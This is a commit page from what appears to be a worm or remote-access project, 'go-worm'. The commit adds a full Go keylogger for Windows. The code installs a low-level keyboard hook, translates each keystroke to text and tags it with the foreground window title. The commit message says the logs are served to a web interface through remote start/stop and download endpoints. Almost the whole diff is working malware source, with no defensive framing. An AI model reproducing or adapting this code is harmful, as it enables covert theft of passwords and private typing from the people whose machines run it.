Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.
This commit is contained in:
@@ -0,0 +1,315 @@
|
||||
//go:build windows
|
||||
|
||||
package keylog
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
)
|
||||
|
||||
const (
|
||||
whKeyboardLL = 13
|
||||
wmKeydown = 0x0100
|
||||
wmKeyup = 0x0101
|
||||
wmSyskeydown = 0x0104
|
||||
wmSyskeyup = 0x0105
|
||||
wmQuit = 0x0012
|
||||
llkhfInjected = 0x10
|
||||
)
|
||||
|
||||
var (
|
||||
user32 = syscall.NewLazyDLL("user32.dll")
|
||||
procSetWindowsHookExW = user32.NewProc("SetWindowsHookExW")
|
||||
procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx")
|
||||
procCallNextHookEx = user32.NewProc("CallNextHookEx")
|
||||
procGetMessageW = user32.NewProc("GetMessageW")
|
||||
procTranslateMessage = user32.NewProc("TranslateMessage")
|
||||
procDispatchMessageW = user32.NewProc("DispatchMessageW")
|
||||
procPostThreadMessageW = user32.NewProc("PostThreadMessageW")
|
||||
procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
|
||||
procGetWindowTextW = user32.NewProc("GetWindowTextW")
|
||||
procGetKeyboardState = user32.NewProc("GetKeyboardState")
|
||||
procToUnicode = user32.NewProc("ToUnicode")
|
||||
)
|
||||
|
||||
type kbdLLHookStruct struct {
|
||||
VkCode uint32
|
||||
ScanCode uint32
|
||||
Flags uint32
|
||||
Time uint32
|
||||
DwExtraInfo uintptr
|
||||
}
|
||||
|
||||
type msg struct {
|
||||
HWnd uintptr
|
||||
Message uint32
|
||||
WParam uintptr
|
||||
LParam uintptr
|
||||
Time uint32
|
||||
Pt struct {
|
||||
X int32
|
||||
Y int32
|
||||
}
|
||||
}
|
||||
|
||||
type modifierState struct {
|
||||
shiftL bool
|
||||
shiftR bool
|
||||
ctrl bool
|
||||
alt bool
|
||||
}
|
||||
|
||||
func (m modifierState) shift() bool {
|
||||
return m.shiftL || m.shiftR
|
||||
}
|
||||
|
||||
var (
|
||||
hookMu sync.Mutex
|
||||
hookEvents chan Event
|
||||
hookThreadID uint32
|
||||
hookMods modifierState
|
||||
lastHWND uintptr
|
||||
lastTitle string
|
||||
)
|
||||
|
||||
func startPlatform(_ *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
|
||||
hookEvents = events
|
||||
ready := make(chan struct{})
|
||||
|
||||
go func() {
|
||||
defer close(done)
|
||||
_ = runHookThread(ready)
|
||||
hookEvents = nil
|
||||
hookThreadID = 0
|
||||
}()
|
||||
|
||||
go func() {
|
||||
select {
|
||||
case <-ready:
|
||||
case <-stop:
|
||||
return
|
||||
}
|
||||
<-stop
|
||||
threadID := hookThreadID
|
||||
if threadID != 0 {
|
||||
_, _, _ = procPostThreadMessageW.Call(uintptr(threadID), wmQuit, 0, 0)
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
|
||||
func stopPlatform() {}
|
||||
|
||||
func initKeylog() error {
|
||||
dir, err := config.KeylogDir()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return PruneOldLogs(dir, config.KeylogRetentionDays())
|
||||
}
|
||||
|
||||
func runHookThread(ready chan struct{}) error {
|
||||
hookThreadID = windowsGetCurrentThreadId()
|
||||
close(ready)
|
||||
|
||||
hookProc := syscall.NewCallback(keyboardHookProc)
|
||||
handle, _, err := procSetWindowsHookExW.Call(whKeyboardLL, hookProc, 0, 0)
|
||||
if handle == 0 {
|
||||
return err
|
||||
}
|
||||
defer procUnhookWindowsHookEx.Call(handle)
|
||||
|
||||
var message msg
|
||||
for {
|
||||
ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&message)), 0, 0, 0)
|
||||
switch int32(ret) {
|
||||
case -1:
|
||||
return fmt.Errorf("GetMessage failed")
|
||||
case 0:
|
||||
return nil
|
||||
}
|
||||
if message.Message == wmQuit {
|
||||
return nil
|
||||
}
|
||||
_, _, _ = procTranslateMessage.Call(uintptr(unsafe.Pointer(&message)))
|
||||
_, _, _ = procDispatchMessageW.Call(uintptr(unsafe.Pointer(&message)))
|
||||
}
|
||||
}
|
||||
|
||||
func keyboardHookProc(code int, wParam, lParam uintptr) uintptr {
|
||||
if code >= 0 {
|
||||
kb := (*kbdLLHookStruct)(unsafe.Pointer(lParam))
|
||||
switch wParam {
|
||||
case wmKeydown, wmSyskeydown:
|
||||
if isModifierVK(kb.VkCode) {
|
||||
hookMods.update(kb.VkCode, true)
|
||||
} else if event, ok := decodeKeyEvent(kb, wParam == wmSyskeydown); ok {
|
||||
select {
|
||||
case hookEvents <- event:
|
||||
default:
|
||||
// ponytail: drop when full; upgrade path is larger buffer
|
||||
}
|
||||
}
|
||||
case wmKeyup, wmSyskeyup:
|
||||
if isModifierVK(kb.VkCode) {
|
||||
hookMods.update(kb.VkCode, false)
|
||||
}
|
||||
}
|
||||
}
|
||||
ret, _, _ := procCallNextHookEx.Call(0, uintptr(code), wParam, lParam)
|
||||
return ret
|
||||
}
|
||||
|
||||
func decodeKeyEvent(kb *kbdLLHookStruct, sysKey bool) (Event, bool) {
|
||||
injected := kb.Flags&llkhfInjected != 0
|
||||
if injected && kb.VkCode == 0 && kb.ScanCode >= 32 && kb.ScanCode != 127 {
|
||||
return Event{
|
||||
Time: time.Now(),
|
||||
Injected: true,
|
||||
Window: foregroundTitle(),
|
||||
Text: string(rune(kb.ScanCode)),
|
||||
}, true
|
||||
}
|
||||
|
||||
text, ok := appendText(kb.VkCode, kb.ScanCode, sysKey)
|
||||
if !ok {
|
||||
return Event{}, false
|
||||
}
|
||||
return Event{
|
||||
Time: time.Now(),
|
||||
Injected: injected,
|
||||
Window: foregroundTitle(),
|
||||
Text: text,
|
||||
}, true
|
||||
}
|
||||
|
||||
func isModifierVK(vk uint32) bool {
|
||||
switch vk {
|
||||
case 0x10, 0x11, 0x12, 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func (m *modifierState) update(vk uint32, down bool) {
|
||||
switch vk {
|
||||
case 0xA0:
|
||||
m.shiftL = down
|
||||
case 0xA1:
|
||||
m.shiftR = down
|
||||
case 0x10:
|
||||
m.shiftL = down
|
||||
m.shiftR = down
|
||||
case 0xA2, 0xA3, 0x11:
|
||||
m.ctrl = down
|
||||
case 0xA4, 0xA5, 0x12:
|
||||
m.alt = down
|
||||
}
|
||||
}
|
||||
|
||||
func appendText(vk, scanCode uint32, sysKey bool) (string, bool) {
|
||||
if hookMods.ctrl || hookMods.alt {
|
||||
return "", false
|
||||
}
|
||||
if text, ok := specialText(vk); ok {
|
||||
return text, true
|
||||
}
|
||||
if char, ok := keyChar(vk, scanCode); ok {
|
||||
return char, true
|
||||
}
|
||||
if sysKey && vk == 0x20 {
|
||||
return " ", true
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
func specialText(vk uint32) (string, bool) {
|
||||
switch vk {
|
||||
case 0x0D:
|
||||
return "\n", true
|
||||
case 0x09:
|
||||
return "\t", true
|
||||
case 0x20:
|
||||
return " ", true
|
||||
default:
|
||||
return "", false
|
||||
}
|
||||
}
|
||||
|
||||
func keyChar(vk, scanCode uint32) (string, bool) {
|
||||
var state [256]byte
|
||||
ok, _, _ := procGetKeyboardState.Call(uintptr(unsafe.Pointer(&state[0])))
|
||||
if ok == 0 {
|
||||
return "", false
|
||||
}
|
||||
applyHookMods(&state)
|
||||
if vk < uint32(len(state)) {
|
||||
state[vk] |= 0x80
|
||||
}
|
||||
|
||||
var buf [8]uint16
|
||||
n, _, _ := procToUnicode.Call(
|
||||
uintptr(vk),
|
||||
uintptr(scanCode),
|
||||
uintptr(unsafe.Pointer(&state[0])),
|
||||
uintptr(unsafe.Pointer(&buf[0])),
|
||||
uintptr(len(buf)),
|
||||
0,
|
||||
)
|
||||
if n != 1 {
|
||||
return "", false
|
||||
}
|
||||
r := rune(buf[0])
|
||||
if r < 32 || r == 127 {
|
||||
return "", false
|
||||
}
|
||||
return string(r), true
|
||||
}
|
||||
|
||||
func applyHookMods(state *[256]byte) {
|
||||
setDown := func(vk byte, down bool) {
|
||||
if down {
|
||||
state[vk] |= 0x80
|
||||
} else {
|
||||
state[vk] &^= 0x80
|
||||
}
|
||||
}
|
||||
shift := hookMods.shift()
|
||||
setDown(0x10, shift)
|
||||
setDown(0xA0, hookMods.shiftL)
|
||||
setDown(0xA1, hookMods.shiftR)
|
||||
}
|
||||
|
||||
func foregroundTitle() string {
|
||||
hwnd, _, _ := procGetForegroundWindow.Call()
|
||||
if hwnd == 0 {
|
||||
lastHWND = 0
|
||||
lastTitle = "?"
|
||||
return lastTitle
|
||||
}
|
||||
if hwnd == lastHWND && lastTitle != "" {
|
||||
return lastTitle
|
||||
}
|
||||
lastHWND = hwnd
|
||||
var buf [512]uint16
|
||||
n, _, _ := procGetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
|
||||
if n == 0 {
|
||||
lastTitle = "?"
|
||||
return lastTitle
|
||||
}
|
||||
lastTitle = syscall.UTF16ToString(buf[:n])
|
||||
return lastTitle
|
||||
}
|
||||
|
||||
func windowsGetCurrentThreadId() uint32 {
|
||||
kernel32 := syscall.NewLazyDLL("kernel32.dll")
|
||||
getCurrentThreadId := kernel32.NewProc("GetCurrentThreadId")
|
||||
id, _, _ := getCurrentThreadId.Call()
|
||||
return uint32(id)
|
||||
}
|
||||
Reference in New Issue
Block a user